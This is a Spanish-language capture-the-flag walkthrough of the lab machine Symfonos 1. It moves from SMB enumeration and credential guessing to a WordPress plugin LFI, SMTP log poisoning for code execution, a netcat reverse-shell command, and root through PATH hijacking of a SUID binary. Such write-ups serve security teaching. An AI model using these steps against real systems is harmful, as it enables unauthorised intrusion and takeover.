Symfonos 1
El escaneo con Nmap muestra los puertos 22,25,80,139 y 445 abiertos
Comenzamos listando los recursos compartidos con SMBMAP, encontrando solo uno con permisos de lectura, el anonymous. Además, como aparece el ‘Helios personal share’, intuimos que helios es un usuario.
Dentro de este aparece un attention.txt, que vamos a descargar para analizarlo
Contiene un texto donde recomienda evitar el uso de las contraseñas: epidioko, qwerty y baseball.
Teniendo un posible usuario y contraseñas, intentamos acceder a los mismos recurso pero con estas credenciales.
Dentro de la información de helios aparecen 2 archivos, que igualmente vamos a descargar para analizar.
El todo.txt nos muestra un directorio, que al probar en la web funciona
Al ver la web cargar de esta forma, podemos asumir que se trata de un Virtual Hosting, por tanto debemos añadirlo al /etc/hosts; y si vemos el código fuente, vemos que casi todo se carga de ‘symfonos.local’, por tanto este debe ser el dominio.
Una vez hecho ya la web se muestra sin problemas.
Con algunas herramientas vemos que estamos ante un Wordpress, y si revisamos el código fuente de la página se ven algunos de los plugins que se usan, entre ellos mail-masta
Buscamos con Searchsploit por este plugin y encontramos que es vulnerable a un LFI
Si agregamos la última línea del txt que explica la vulnerabilidad en la URL obtenemos acceso al fichero /etc/passwd
Ya que podemos acceder a ficheros locales, probamos acceder a los logs del servicio SMTP en la ruta /var/mail/helios.
Como funciona, trataremos de hacer un ataque de Log Poisoning al SMTP
Para ello vamos a realizar todo el proceso de enviar un email pero en el cuerpo insertaremos un código php que nos permita hacer un RCE.
Si volvemos a ver los logs del sistema, estos han cambiado en el final.
Por lo tanto si intentamos un RCE veremos que funciona
Como netcat está instalado en la máquina víctima, nos podemos enviar la reverse_shell usándolo

/var/mail/helios&cmd=nc+-e+/bin/bash+ip+puerto
Todo debe estar URLencodeado
Así ya se obtiene la reverse_shell. Tan solo basta hacer el tratamiento de la TTY para maniobrar con más comodidad.
Para escalar privilegios buscaremos Binarios SUID, especialmente los que sean propiedad del usuario root, donde encontramos el /opt/statuscheck.
Revisándolo con file vemos que es un ejecutable
Si se ejecuta se puede ver que hace una especie de Curl, así que vamos a revisarlo
Al ser un binario, se tiene que usar el comando strings para leerlo
Efectivamente ejecuta un curl, pero la llamada al comando se hace de forma relativa y no desde su ruta absoluta, por lo que podemos aplicar un Path Hijacking
Debemos movernos a una ruta donde tengamos permisos de escritura, como por ejemplo /tmp
Creamos un script llamado curl con únicamente el siguiente contenido, para asignarle privilegios a la bash.
chmod u+s /bin/bash
Si comprobamos el path de linux, muestra que nuestra ruta no está incluida, así que hay que agregarla con
export PATH=.:$PATH
Al ejecutar nuevamente el binario ya no habrá un output porque ya se aconteció el Path Hijacking.
Si otorgamos los permisos a la bash nos haremos root.
Ya podremos acceder a la flag de root
